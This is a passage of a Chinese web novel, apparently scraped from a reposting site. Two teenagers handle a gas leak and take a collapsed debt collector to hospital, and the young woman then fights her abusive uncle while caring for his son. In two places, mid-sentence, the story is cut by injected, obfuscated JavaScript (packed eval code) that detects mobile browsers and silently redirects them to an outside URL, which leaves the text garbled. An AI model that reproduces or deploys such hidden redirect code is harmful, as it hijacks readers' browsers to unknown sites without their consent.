她这是,又以更草率的方式签了份卖身契么…… 但有钱就行吧。 虽然郑策和江蔚云不缺钱,但目前这种只出不进的状态让她有些不踏实。 随时需要计划好开支,哪天超支了,说不定就挨不到毕业了。 有机会就去吧。 辅导全班物理的事,其实并没有几个人来问。 主要他们 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“为什么这个电阻不可以开?” 为什么你不去从初一复读! “我真的尽力了。” 郑策闭着眼睛趴在课桌上,“四点就起床给你写检讨,还念成那副鬼样子,别再折磨我了行行好。” 耳边很轻的一声,一颗巧克力放在她桌上,郑策楞了下看着骆远方。 “补充体力。”骆远方说。 “我呢?老大。”安城北望向他。 骆远方丢过去一颗。“这么饿?” “不是我。”安城北也听见了谁的肚子在抗议。 两人同时看向郑策。 郑策耳朵唰得红了,像宠物店好奇打探橱窗外的小猫被逮了个正着,她把头在胳膊埋得更深。 “我长身体,消化好。” “大课间带你们俩开小灶。”骆远方说。 “林歌去不去?” “我不去了,我化学方程式怎么配不平啊!”林歌生无可恋地转头。 “谁来救救我!” 旁边三个人瞬间起立离开,拒绝再动用脑细胞。 林歌欲哭无泪:“人性呢?” “狗吃的?” 安城北看了眼菜色丰富的剩菜,有些不平衡,望了眼空荡荡的大厅,感慨道: “难怪你这个时间常来食堂,好安静呐。” “显得你多安静似的。” 骆远方瞟他一眼,“之前帮着拍视频和阿姨们混熟了。” 他这句话像是在给郑策解释,郑策哦了一声。 饭点之外的食堂很空很静。关掉顶灯,大厅只靠落地窗外的光线照亮,显得莫名肃穆。 忽然,不知从哪里冲出来一个小男孩,快到他们面前的时候,一个滑跪。 呲溜到三人脚边。 郑策吓得差点跪下去。 心里不由地佩服。 还得是腿短好啊,重心低,不怕摔。 “远方哥哥来了!”男孩笑着喊。 这嗓子像是一声号令。 紧接着,从桌子底下凭空钻出来了好几个五六岁大的孩子,一颠一颠跑过来,抱着骆远方的腿就想往上爬。 骆远方笑着去抱最小的一个女孩,又被一个男孩牵住手指。 他嗔怒道:“快从地上起来,脏。” “哥哥看我今天画的画!”一个男孩兴奋地往回跑,一脸自豪要去拿他的大作。 郑策有些惊讶。 从来没见过骆远方这么亲和的一面,笑容挂在他脸上就没摘下来过。眼里也是难得的温柔。 “哎哟你们别折腾哥哥啦!我待会儿就去告你们爸妈又在地上滚。” 一个穿着厨师服的阿姨笑眯眯走过来,“又饿了?鸡蛋灌饼吃不?” “带他们来吃的,照常付钱,我来做吧。”骆远方说。 “也行,你们自己招待啊。” 阿姨抱着其中一个娃就走,“先跟妈妈去把这身衣服换了再来找你哥哥。” “你做啊?”郑策有些不可思议地看着骆远方。 “她不吃我吃!” 安城北超级玛丽一样跳着举手,努力刷存在感。 他一双眼睛都亮了,真诚地向郑策推荐,“骆哥做饭超级好吃!” “我也吃!”郑策不甘示弱地举手,挺胸瞪着他。 “你们俩还没他们大。” 骆远方笑着就朝鸡蛋灌饼的窗口走。 的确,安城北的心理年龄和这群小孩子刚好玩到一起。盘着腿随地一坐,就开始和他们一起玩折纸。 “看哥哥给你们折一个裤子啊。” 安城北有些得意道,“不过这个纸上面怎么还有字?” 小男孩凑在他耳边尽力用气声小声道:“这是我的作业本!” 什么玩意儿? 现在小孩儿胆子都这么大了么? ……安城北凝固了。 看着手上的烂纸片陷入沉思。 他还没吃上小灶呢,别就给阿姨加入黑名单了啊。 他有些不知所措地往回看,想要求助,但厨房窗口边的两人根本不看他。 “你过去玩就行。时间不多,摊个饼很快。”骆远方在厨房里忙活,对郑策道。 “没想到你还是这儿的孩子王。”郑策站在窗口外,笑着看他熟练地单手敲鸡蛋。 “他们好像很喜欢你。” “嗯,有两个孩子喜欢画画,我没事的时候会来教他们画。” 骆远方顿了下,“而且,小时候没能照顾骆乘光,也挺遗憾的。” 油刺啦一声倒入锅里,白烟瞬间腾起,骆远方手里忙而有序。 浓密睫毛垂着,遮挡平日锐利的视线,他在这样的场景中藏起了身上的距离感,在烟火掩映下忽然亲近了许多。 半天郑策没回应,他抬头,“怎么不说话?我以为你走了。” “就看看。”郑策盯着锅里。 “看我帅么?”骆远方开玩笑道。 “看你究竟有多少面是别人没见过的。”郑策眯着眼睛打量他。 “这个帅哥,究竟是个怎么样的人呐?” “不是你喜欢的人么?” 骆远方一手熟练地翻炒,说出这话的时候,顿了下。 “靠,我当时瞎了眼了。”郑策不在意地笑道。 骆远方干笑了下,没再说话。 火速吃完鸡蛋灌饼,三个人回到教室,刚巧赶上第三节课,若无其事带着一身油烟味儿坐在座位上。 林歌不满地瞪了他们一眼。 郑策悄悄递给她刚在小卖部买的拔丝蛋糕。又在老师转身的时候,瞬间装作若无其事认真听讲的模样。 似乎日子就这样平淡地过下去,郑策也快适应了。 阅读障碍也在逐渐恢复,仿佛一切都在向着好的方向发展。 清明节放假前一天,下了整天的雨,干涸的大地逐渐湿润,万物复苏。 她心里也似有了着落。 和骆远方放学回去的路上,两人还在争执。说上回请客,郑策根本没付钱,骆远方表示她还差自己一顿饭。 “那就放假的时候挑一天呗。”郑策爽快道。 但刚进楼梯间的时候,气氛又是一滞。 那些人又来了。 出了上回砸玻璃的事情,他们平时从来不动武,甚至不骂娘。 就这样沉默地坐在家门口,等你回来,然后幽怨地盯着你的一举一动。 恶心人。 法律拿他们没有办法,人情更对他们束手无措。 放假的好心情一下子被烟雾缭绕的楼梯间给掩埋。 郑策拧起眉头。 此时,其中一人站起来,居高临下地看着骆远方,像是宣告死刑的判官,冷冰冰丢下一句: “你爸要回来了。” 郑策心里猛然一惊。 余光里,只一瞬间,身边的人浑身都紧绷起来,许久不见的阴戾在骆远方周身迅速笼罩。 但更让郑策揪心的是。 骆远方捏紧的拳头在微微颤抖。 更像是只受惊的小兽,努力炸毛蛊惑敌人,心里却藏满了害怕。 27. 你不哭了我再走 “骆远方。”郑策抓住他的手,沉声道,“先进去。” 骆远方此时像个任人摆弄玩偶,除了郑策,谁的靠近都会激起他的应激反应。 “让开。” 郑策牵着他往上走,路过那几人时,看过去的眼神浸满寒冰。 几人原本还想大放厥词威胁威胁,也被她给看得不敢张嘴。 穿破洞裤的瘦子神色复杂地看着他们,站在最后,没说话。 客厅里没开灯。 这几日没有太阳,天色阴沉。才下午五六点,房间内就暗得像是蒙上一层黑纱。 郑策摸索着把灯打开,才发现沙发上坐了一个人。 悄无声息的,吓了她一跳。 骆远方感受到牵住他的手用力一握,轻声说:“是外婆。” 骆淇听见开门的声音,也被吓得坐直身体,惊恐地转过头来。 看见是他们后,舒了一口气,“回来啦?” 她尽力让语气缓和,但房间里还是充斥着不安和焦虑。 郑策不认识骆远方的爹,但所有人的反应让她神经也跟着紧绷起来。 骆淇牵起嘴角,微笑着说,“晚饭吃水饺,一人给你们煮了一个荷包蛋。” “他们说,郑案要回来了?”骆远方声音哑沉地问。 “嗯,说是里面表现好,给减刑了。”骆淇的脸色不是很好看。 虽然很自私,但郑策脑子里第一反应是这人回来会住哪儿。 三个房间已经被五个人占满,根本没有他的位置。 但真要论起来,郑策和江蔚云算是这个家的不速之客。 那个郑案回来,撵她们出去也是合情合理。 她也面色凝重顿在原地。 “你别想太多,休息一下,我来做饭。” 骆远方看着骆淇心神不宁的样子,有些心疼,温声说。 这人原本和骆淇八竿子打不着,可气自己女儿偏招惹上门,剩下的半辈子和他就脱不了干系了。 骆远方捏了捏郑策的手指,这才放开。 和郑策对视了一眼,两个人都心事重重,没说什么。 “嗯,就是头有点晕。”骆淇闭着眼睛揉了揉太阳穴。 “犯恶心。” 听见这话,郑策有些担忧地看着骆淇。 骆奶奶平时对她很好,虽然口头上说着买房子的事欠她们的,但也真是把她当亲孙女看待。 今晚出了这样的事,郑策看着也于心不忍。 骆淇今晚的脸色尤其苍白,脸上没有一点血色。 就像,一副快要失去生命的骨架。 郑策瞳孔猛然紧缩。 忽然间,她想也没想就冲进厨房。 因为太着急,肩膀在门边撞了下,咚得一声响。 “怎么了?” 巨响让骆远方也跟着紧张起来。 “快开窗通风,汤水把火给灭了!” 郑策把灶台按钮关上,又迅速跑进各个房间去开窗透气。 她疾速道:“把奶奶带到卧室去,窗户打开,解开衣扣,可以喝点葡萄糖,要是还要晕就去医院!” 郑策几乎是下意识反应,短短几秒内,她背上已经全是汗,唇色发白,胸口不住起伏。 半年前的噩梦忽然间原景重现,她只觉快呼吸不上来。 那天下午,如果她没有赌气在卧室里睡觉,发现泄露后及时采取措施,现在的情况会不会不一样? 之后郑策曾无数次了解和复习燃气泄漏的预警以及急救措施。 甚至在一段时间的梦里,她也是一直在煤气泄露的房间内奔跑打转。 门窗紧闭,叫天不应,叫地不灵的绝望此时又瞬间贯穿她脑子。 手,脚和每一寸内脏都如坠冰窟。 “奶奶还恶心头晕么?”郑策检查了一遍房间后,站在床边尽力平复呼吸问。 “怎么吓成这样?” 骆淇有些心疼地擦了擦她眼角,声音还是有些虚弱。 “一时疏忽了,刚煮上没一会儿你们就回来了,没什么大问题。” 一进门就心事重重的骆远方同样没注意到空气里淡淡的臭鸡蛋味儿。 他此时心有余悸地看着郑策,记得她说过自己没有嗅觉,怎么会反应这么快。 他皱着眉也舒了一口气,抽了几张纸递给郑策擦汗:“多谢了。” 本来还想问郑策是怎么发现的,大门却忽然被打开。 一事未平,一事又起。 骆乘光的声音在门口有些焦急地喊道:“哥,外面的人晕倒了!” 骆乘光这嗓子,不去演雪姨可惜了。 别躲在里面不出声,我知道你在家…… “怎么回事?”骆远方生无可恋地跑出去。 外面已经乱成一团。 门口躺着一个昏迷不醒的人,郑策认出他的破洞裤,膝盖的血痂还有瘦削的体型,皱着眉问:“冻的还是饿的?” “这怎么知道啊!” 其中有人急道:“他心脏不好啊,这几天家里闹离婚,工地上又拖工资,他这是撑不下去了!” “骆乘光带着妹妹进屋,照顾外婆,有点煤气中毒。骆淇不舒服立马送医院。” 骆远方不容质疑地安排。 骆乘光一听也急了,还想问什么情况,骆远方看着那群人问: “怎么来的?先送医院。” 几个人听后面露难色,却没人行动。 一来不知道这人什么情况,送去医院的花销难道由自己负担? 二来,如果真的出了事,他们一直在一起,会不会遭到牵连? 而且……他们的行为确实不道德。 “我们都是自己来的,没有车。”一个人说。 其余人也噤了声,郑策指着他,“你最好是。” “妈的。” 骆远方把那人的手臂抗在肩膀上,咬着牙怒道,“来个人抗啊,用我摩托送。” “他都晕了怎么坐摩托?”郑策翻出手机,“看看能不能打着车。” “镇上网约车本来就少,晚上更没有。” 骆远方脸因为用劲颤抖,对旁边的人喊,“用力啊!” 几个人才勉强上前帮上一把。 但到了车边,又没人想上去。 骆远方一个人是载不了的,必须得有个人在背后固定他。 他们这群人之间并没有感情,最多的相同点就是被郑案骗了钱。 自己的生活已经一地鸡毛,混口饭都成问题,根本没人想惹麻烦上身。 “这……三个大男人也坐不下啊。” 那人为难道。 “我去。” 郑策果断接手扶过男人,坐上车固定好他时,冷眼看了看旁边畏缩不敢上前的人。 “他出了事,你们以为能逃得了么?” “你可以吗?”骆远方有些不放心,“把他靠在我背上。” “可以。”郑策说。 “走。” 摩托疾驰而去。 这是郑策第二次坐骆远方的摩托,都是三个人。 第一次开出了蜗牛的特效,这一次却险些把她甩下去。 她咬着牙尽力稳定男人的身体,从没想过一个无意识的身体,看着只剩骨头了,竟然都有这样重量。 摩托前灯被改装过,亮度比平常高了不少,但郑策视线里模糊一片,只看得见霓虹色块在黑夜里飞速往后退。 耳边是摩托的轰鸣,她所有注意力都在前面昏迷不醒的男人身上。 千万不能有事啊。 就像骆远方说的,这些人对他来讲,无功无过,但又不可避免会产生愧疚。 这愧疚不是欠他们的,而是出于他自己的善良。 因为自己爸爸的原因,这些人流离失所,如果最后又死在自己家门口…… 如果换成郑策自己,她不知道该用什么心态去面对。 但现在看着骆远方僵硬的背影,她是真诚而迫切地希望,所有人,都不要出事。 包括这些不分黑白让人心烦的烂人。 他是真的再承受不了一次这样巨大的冲击了。 到医院后,两人分头行动,骆远方跟着男人去急救,郑策忙着缴费事宜。 心梗,好在送医及时,没有酿成大祸。 看到骆远方发来的消息时,郑策握着手里的缴费单,终于舒出一口气。就近靠着墙缩了下去,坐在楼梯间的台阶上平复心情。 为了减少等电梯的时间,她一直在楼梯间跑上跑下,悬着的心终于落地了。 此时才感觉到胳膊有些疼,好像是刚冲进厨房的时候给磕出了淤青。 但也顾不上这么多了。 没事就好。 “小策?”背后有个女人的声音惊讶地叫她。 “你怎么在医院?” 郑策转过身去,就望见宋熙拿着一叠单子楞在上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046475|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几级台阶。 可能医院灯光过于白,她脸色也略显憔悴,短短十几天不见,似乎比之前更瘦了。 身边还跟着那个小男孩,是叫韩俊生吧,这么晚了只能跟在妈妈身边来医院过夜。 郑策的神色暗了暗。 “我……” 她不想把别人家的事到处乱说,便道,“陪同学来的。” “哦,那就好。”宋熙有些出神地自言自语。 “呐。”韩俊生走上前递给郑策一根棒棒糖。 “给你吃,吃了就不疼了。” “……谢谢。”郑策看了眼韩俊生,接过去。 宋熙一手无意识地摸着韩俊生的脸,犹豫道,“忠夏急性阑尾炎今天出院。” “嗯。” 她似乎有事相求,郑策看着她。 “你们放假了吧这两天?” 宋熙却忽然转移话题。 “清明放假三天。” 郑策无奈地笑笑。 如果宋熙开不了口。她也不是什么圣人,会主动去揽麻烦事。 只是顺着宋熙装傻,不提问。 “你……明天如果没事的话,能不能帮着照顾下他们父子俩,我,我知道有些无理。” 宋熙急切地想解释,叹了口气。 “但我明天需要出去跑货,他这样子赚不了钱,我不能停啊……” 郑策听到这个要求差点气笑。 他们有什么立场让她回去帮忙照顾人。 召之即来挥之即去。如果不是和宋熙仅存的一点血缘,还有她和妈妈之间的感情,郑策当场就会走。 但一抬头就对上韩俊生的脸。 她又有些犹豫。 宋熙软弱是性格问题,她对自己再怀疑,再袖手旁观,但远不会咄咄逼人。 郑策还是能感受到这个传统妇女对自己的关心。 如果不是逼不得已,不会求自己。 郑策沉默了会儿,盯着下面几级台阶道: “我可以去,但是他找事,我不会惯着他。” “哎哎好。” 宋熙松了口气,“他基本没什么问题了,就是这个小的,麻烦你照顾照顾……” 宋熙说着,声音又低了下去,“姨妈知道对不起你……” “姨妈。” 郑策站起来,打断她。 “别说了,明天我去。看在你的面子上。但你的面子也不多了,我不是我妈,不会一直帮人擦屁股。” “知道知道。”宋熙垂头低声说。 刚关上楼梯间防火门,郑策就收到骆远方的消息: 【这边没什么事了,你先走吧,还有最后一班公交,就坐66路……】 卸磨杀驴也没您这么快吧。 路线都帮她规划好了。 郑策没看完,啧了声直接往病房的方向走。 房间在走廊尽头,一路上要穿过来来往往许多人。 医院里的人,身上总是笼罩一层哀伤,即使勉强扯着嘴角,眉宇间的忧愁也挥之不去。 坐在轮椅上的小姑娘;因为病房不够,躺在走廊里的老人;忽然得到噩耗瘫软在座椅上的男人;黑眼圈深重又不敢闭眼的女人…… 压抑的气氛让郑策不太舒服,她快步穿过人群。 据说医院是消毒水味的。她闻不到,却感觉这里更像一个冰窟,灯光亮且煞白,呻吟和哀怨不断。 她看向走廊尽头的小窗户,窗外是深蓝色的天空,期待第二天能重新亮起。 骆远方坐在窗边的一排铁椅上,这边因为是尽头,明显安静了许多。 他手肘撑在膝上,非常疲惫地将脸埋进掌心,动也不动。 走进些,会发现原来窗边竟然挂着一弯橙黄色月亮。 而椅子上的人却从没抬头看过一眼。 尽头的顶灯坏了一个,骆远方半边身子被银色月光照亮。 少年人挺拔俊秀线条下,强撑着的脊梁随着呼吸微微起伏。 银灰色铁椅上,清瘦的身体旁边,竟也遮挡出一大片阴影。像远处的黛色群山,沉默着,却竭尽给出自己所有的保护。 郑策没说话,走过去坐在他旁边。 “今晚有月亮。” 她说。 “没走?” 骆远方的声音暗哑疲惫,他楞了下,仍旧没动。 郑策看着他,过了会儿,才说: “你不哭了我再走。” 28. 急、你、烂、阑、尾 “操。” 骆远方把头蒙在手掌里,声音终于哽咽了起来。 “我没想哭,没忍住。” “嗯我知道。” “你知道个屁。” 反正掩饰不住,骆远方鼻音越发浓重。 “嗯我不知道。” “……靠。” 骆远方破涕为笑,狠狠吸了吸鼻涕,郑策嫌弃地咦了声,他又笑了。 “让你走是怕你看见这些人心里不舒服,你爸妈不就是……” 和他们一样,被卖高利贷的人骗了嘛。 “他们根本没勇气撑到这时候,不舒服都没机会。”郑策苦笑。 骆远方肩宽腿长,此时尽力把自己蜷缩成一小团的样子让她有些心疼。 郑策开玩笑道:“没想到你这么多愁善感,人还怪好的嘞。” “我就是烦。像是口香糖黏在头发上,怎么扯都扯不干净。” 骆远方抹了把脸,还是不敢看她,扭头看着窗外。 啧。男人最后一点尊严。 骆远方咕哝道: “刚就是有点害怕,怕他真死在家门口。明明不关我的事,是他们自己作,但我会一直记着这件事,记着有个人被我爸牵连,一辈子都毁了……” 他说着眉头又拧起来,声音越来越小,肩膀有些颤抖,“他要是真死了怎么办……” “凉拌呗。死了也是饿死的,管你什么事。” 郑策知道这种安慰没有效果,但她水灵灵的脑子真的憋不出其他话了。 “再说,不也没事了嘛。” 郑策啊,这种屁用没有的安慰实在高明。 “医药费多少钱,我转你。”骆远方深吸了口气,去掏手机。 “不用,我欠骆奶奶的也挺多,之后还要继续蹭吃蹭住呢。” 郑策见骆远方转过身,也拿出手机,点开相机,悄咪咪对着他哭红的眼睛,泪水还没干的脸连拍几张。 “一码归一码,该欠就欠着,又没让你还……你干什么?”骆远方忽然瞪大眼睛。 原本哭得梨花带雨,楚楚可怜,此时挂满泪痕又张牙舞爪起来,更像个不知所措的小兽了。 郑策笑着收回手机,“当我花钱买照片吧。” “这也能算钱,那你随便拍,多给点。” 骆远方想了想,又说,“刚才他醒过来,跟我说,郑案出来后,他就不去我家了,只找他一个人。他后面会和那群人商量的。” “这下总算彻底解决了。” 郑策长舒一口气,往后靠在椅子上。 “希望吧。”骆远方也靠着墙,闭上眼睛。 郑策扭过头去,看骆远方,“少想点事儿吧骆妈妈,这个家就你操心最多。” “谁叫我是骆家牛马呢。”骆远方有些感慨道。 “他真是甩了好大一个烂摊子给我们……” 郑策楞了瞬,才反应过来这个“他”是谁。 “他走了后,我妈没几天也死了。那时候这些人几乎每天都来。外婆害怕耽误我们学习,就去法院闹,但是没用……” 骆远方看着对面的白墙,眼睛里有微光闪动,像是看见了其他东西。 他接着道:“我是男孩儿,又是哥哥。要安慰奶奶,装作没事,照顾骆乘光。感觉像是在悬崖边走,脚下一崴,就会摔下去……还没有人能拉得住我。” 这郑策倒是真的懂,因为她就是这样走累了,已经在下坠了。 骆远方笑了下,“我当时真想把所有人都捅死,再自杀算了,那样一定所有人都平静了。” 郑策又想起他毫无顾忌走进荆棘丛那晚。拧着眉头看着他。 “给你变个魔术。” 她说着,两手摊开,一手在骆远方头顶空中抓了把,举着拳头放在骆远方嘴边。 “吹口仙气。” “把我当江蔚云哄呢。”骆远方垂下的睫毛上还沾着亮闪闪的泪滴,配合着轻吹了口气。 “当当当当。” 郑策一下子摊开手,空的。 然后从身后把东西一个一个拿出来,跟拍卖会喊价一样,抑扬顿挫。 “菊乐酸奶一瓶!感觉你好像很喜欢喝。真知棒一根!巧克力一板!” 骆远方笑着接过去,他现在是想吃点东西。“谢谢。” “哈库那马塔塔!” 郑策顺势在他头顶摸了下,本意是施展烦恼忘掉的魔法。 却被扎了下。 她自己先破功。 “我靠,刺猬啊你。” “看在零食的份上原谅你了。”骆远方白她一眼,分给她一瓣巧克力。 “……那谢谢你了。”郑策道。 混乱的一晚上,经历了太多事,郑策觉得自己梦里都还在拳打脚踢,嘿嘿哈哈。 一觉醒来腰酸背痛,刚睁眼就对上江蔚云幽怨的眼神。 看来不止梦里嘿嘿哈哈,还有实操哼哼哈嘿…… 她心虚地在江蔚云额头上亲了亲,轻声道: “继续睡吧,我今天一天都不回来,要听奶奶的话知道么?待会儿去学校注意安全。” 今天江蔚云不放假,要配合郑策他们拍摄配音。她没告诉江蔚云,打算留个惊喜。 “嗯。” 江蔚云眼皮一闭一闭,点点头,翻了个身又睡了。 今天是清明节,细雨绵绵,绿枝抽条,刮来的风带着雨雾里的清爽和潮湿。 骆远方很早又走了。 这大清早的,一天天赶集呢。 郑策不经意提出这个疑问的时候,骆淇说:“他每年这个时候都会在前面路口找个椅子坐着。” 骆淇给郑策盛了一碗粥。 “他妈妈就是在那儿撞死的。” 郑策猛地抬头,看了眼骆淇。 骆淇笑道,“没事,过去这么久了。” “他去那儿坐着,是……” “因为她妈妈的事,邻居们不满了很久,说不吉利,闹鬼。还有人说看见路过红色的车上坐着她。” 骆淇解释说:“那时候,他还小,这孩子一听,每年清明都坚持要去路口等红色的车。” 骆淇眯着眼睛看着窗外逐渐放晴的天,“这么多年,不管信不信,也成习惯了。” 别人眼中避之不及的鬼故事,在那个小男孩的耳朵里却似远方佳讯。 是能够再次见到妈妈的希望。 郑策都能想象那个小男孩儿一脸严肃瞪着路过的红色轿车。 身边人来人往,他数着一辆又一辆。 却始终没有车上坐着他的妈妈,如预想中那样,看见他后下车来接他。 心似乎被不轻不重捏了一下。 “啊。” 这么背上的话题,郑策不知道该说什么。 她想了想只有把自己行程汇报一下,“奶奶,我今天要去帮着学校拍摄视频,晚饭再回来。” 她没把去宋熙家的事告诉骆淇,一是觉得自己有些窝囊,二来也不想让她跟着担心。 “行,我今天也不用去买菜了。” 骆淇无奈地笑着说,“骆远方每次回来,都会在路边摆摊的阿姨那儿买一大堆。就是这小子不会挑,好的坏的全拿。” “那我待会儿路过他时提醒一下,败家玩意儿。” 骆淇笑着摆手,“我之前问过他,为什么把零花钱全用了,买烂菜啊?他说这些人都跟他妈妈差不多大,他想帮帮忙。” 她叹道:“就是想妈妈了,随他去吧。” 郑策出门的时候果然在前面路口的公交站台边看见了骆远方。 雨下得断断续续,斜飘着进去,站台上短窄的顶棚根本不起作用。他衣角很快洇湿,加深了颜色。 旁边赶车的人来了又走,他像个找不到去处,又忘了来处的旅客。永远停在了中转站台。 郑策过去递给他伞的时候,嘴欠问了句:“又哭了?” “……谢谢。” 骆远方抬头看她,平缓地勾了勾唇角,懒得和她斗嘴,温柔道。 “今天没有照片拍,送不了钱可惜了么。” “你……”郑策拍了拍他肩膀,“保重吧。” 慢吞吞走到宋熙家,郑策在门外站了会儿,心情复杂地看着灰色铁门。 心情复杂。 她尝了尝味儿,只知道复杂,品不出来掺杂了什么情绪,扁扁嘴,走了进去。 爱谁谁吧。 韩忠夏见着她时没惊讶,想必是宋熙提前说好了。 “来了。” 他躺在沙发上,慢腾腾说了句。 “嗯。”郑策应了声,环顾这个地方。 看来这几天宋熙真的忙到顾头不顾腚,家里面乱糟糟一片。 郑策无言地看了会儿躺在沙发上的死人,去阳台拿扫帚。 “江蔚云怎么没来?”韩俊生跟在她屁股后面问。 “她们班今天要配合学校拍视频。” 郑策笑了笑,揉他的头,比骆远方柔顺松软些。 扫了会儿地,韩俊生一言不发跟着她,就像是一个人有点孤单的样子。 郑策一开始不忍心骂他,可好几回这家伙踩着自己好不容易归拢的垃圾来来去去时,郑策放弃了。 她推着韩俊生进屋,“去里面玩儿,别挡着我。午饭想吃什么?” “爸爸想吃红烧肉。妈妈做了午饭,说只用热一下就好了。” 郑策顺着他手指的方向看了眼,桌上果然用餐具罩罩好了的饭菜。 心想这宋熙还真是放心不下,家里这两个限制民事行为能力人。 限制民事行为能力人觉得,既然有人来帮忙做家务,自己乐得清净。 相安无事了一上午。 但快到中午的时候,可能脑子抽筋了,韩忠夏忽然邪笑着问: “听说你现在住骆远方他们家?” 郑策手里捏着扫帚柄顿了下,目光从垃圾堆里抬起时,没有一丝温度。 她现在可是拿着武器的,这个人要敢挑事,她说过不会忍。 韩忠夏见她没回应,啧了声,又自言自语道,“还真是个没本事的,好好的书不读了,一回来就和街溜子混在一起。” 他呵呵笑道,“简直找死。” “你别惹我。” 郑策看着他,冷声道。 “人拉你走的时候,都没反抗一下,这可太明显了吧。” 韩忠夏不怀好意地笑,露出满口黄牙,没有停的意思。 他原本就瘦,做了回手术,现在皮包骨似的,像一架会说话的骷髅。 “他这种社会败类……” “你他妈,凭什么,说人家!” 郑策一棍子敲在韩忠夏脑袋边,用的还是扫帚刷那边,顿时腾起一片灰尘,在沙发上留下扇形阴影。 韩忠夏没想到几日不见,这姑娘刚成这样,根本没躲闪,吃了一脸灰。 他坐起来,脸上不虞之色尽显,嘴角还欠揍地笑着。 “这就急了?” 郑策也笑着看她,心平气和,一字一顿道: “急、你、烂、阑、尾。” 眼神里尽是嘲讽。 现在她和这个家没有利益联系,更和韩忠夏没有一丁点感情基础。今天能来帮忙,看的是宋熙的面子,主要为的是韩俊生。 他们都知道韩忠夏混蛋起来没个人样。股市亏钱,金佛丢失,身上还开了一刀的情况下,宋熙也不放心让他和孩子单独相处。 “倒霉玩意儿,上门来找事了啊!”韩忠夏撸起袖子就站起来。 没站稳,又一屁股坐了回去,还随着沙发弹簧弹了弹。 他做的算是微创手术,手术后住院两天,又出院两天。现在除了大幅动作会牵扯到伤口外,行动几乎不成问题。 于是韩忠夏被郑策这么一激,跳着脚拿起桌上的啤酒瓶就想往她身上招呼。 郑策轻笑着看他扑过来,右手五根手指一转,一棍子劈在韩忠夏小臂上。 “咔嚓”一声响,玻璃瓶落地。 …… 地白扫了。 “你他妈……” 郑策怒从中来,拿起棍子就朝韩忠夏肩膀、手臂、背上敲。专门规避了他的伤口,但每一下力道不减。 “你他妈不做家务,乱扔乱丢,你他妈凭什么,还有脸蛐蛐别人,你个阴沟里的老鼠屎,又黏又臭,还他妈冲不走!” 她咬着牙控制力道,打一下骂一下,骂一下打一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063405|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 外面动静这么大,房间里的韩俊生却始终没出来。 韩忠夏被一直压制着,只有挨打的份,等郑策打累了,才猛喝一声,气得浑身发抖,“你够了!” 他随手一摸,竟在沙发上摸到一片碎玻璃,也不管刺痛,胡乱挥手。 所谓光脚的不怕穿鞋的,乱拳打得死老师傅,他这招八爪鱼发癫实在难预判。 郑策抬手一挡,玻璃直接插在掌心。 她早就心寒,又感受到掌心有汩汩热流,一抬扫帚柄对准韩忠夏的喉咙,让他无法近身。 朝屋内喊:“韩俊生!饭给你热好了,吃完自己收拾,我走了。” 此时,房间门被很小心推开,像是他一直在门边关注客厅里的一举一动。 韩俊生露出半个小脑袋,看着客厅这边。 “你流血了。”他小声说。 韩忠夏一听急了,“你老子也流血了,你个吃里扒外的东西!” 郑策用力一指,将要暴起的韩忠夏给戳了回去。 “我没事。你去厨房把菜端回卧室吃,害怕就把门锁起来。” “你他妈乱说什么,我怎么可能对自己儿子做什么!” “你最好是。” 郑策余光里等韩俊生端了两盘菜进屋,勾起一边唇角。 “你儿子给你留了两个菜,我就当喂狗了,记得吃。” 她说着用扫把头戳了戳韩忠夏肩膀。 门在身后非常暴力地关上。 郑策出门的时候,额头一直在冒虚汗,眼前事物重影又模糊。 她摇了摇头,尽力盯着一个固定的目标,不让自己晕过去,不然后果不堪设想。 脚上像灌了铅一样,她艰难又尽力保持正常地挪了两步,就收到了江蔚云班主任的电话。 因为胸闷气短,她根本没看清是谁,点开就若无其事,甚至故意放大嗓门,嚣张地问:“谁?” 电话那头吓了一跳,才温声道:“江蔚云小姨妈吗?我是她班主任,她在学校打架了,麻烦您能不能过来一趟……她只要你来。” 郑策拧着眉头,手指用力抓着手机道:“我马上来。” 郑策一直没去看自己的手,只能感觉到有液体顺着掌心流到指尖,聚集成一滴后往下掉。 她唇色泛白皱着眉,眼前事物时而模糊时而清晰,走得艰难。 好在路人一看她垂在身侧的手,顿时隔开八丈远。 倒是把路让宽了不少。 就是差点没让她进校。 耐着性子等保安重新给江蔚云班主任打电话的过程,郑策有种将死之前的混沌感。 “你可以进去了。”保安看了她一眼。 声音好似来自千里之外。 “哦,谢谢。”郑策楞了下才缓过神来。 “你等等。” 郑策不耐烦转过身去,保安递来一卷纱布,还有一小包消毒棉签。 “先处理一下,到处吓人玩儿呢。” 郑策怔了瞬,笑着接过去,“好,待会儿就处理,谢谢叔叔。” 她直接用伤了的左手紧紧捏住那卷纱布,加压止血。 保安大叔看着都疼,五官皱在了一起。 没走远又听见保安在身后叹了句:“都是家长了,还这副模样。” 不知道是忍了太久习惯了,还是注意力被分散,忘记晕了。 郑策上楼的时候,竟然清醒了大半。 只是还不敢看自己的手。 她感觉血都凉了。 江蔚云真是挑得好时机,唱得好一首《凉凉》。 柯言说这个小学和九中有合作,所以拍摄会带上一点。这次也只留了一个班的小朋友,刚好就是江蔚云他们班。 她摇着头笑笑,本来还想给小江同学一个惊喜的。 没想到先将了她一军。 整栋教学楼都落针可闻,直到她听见一阵喧哗,就知道到地方了。 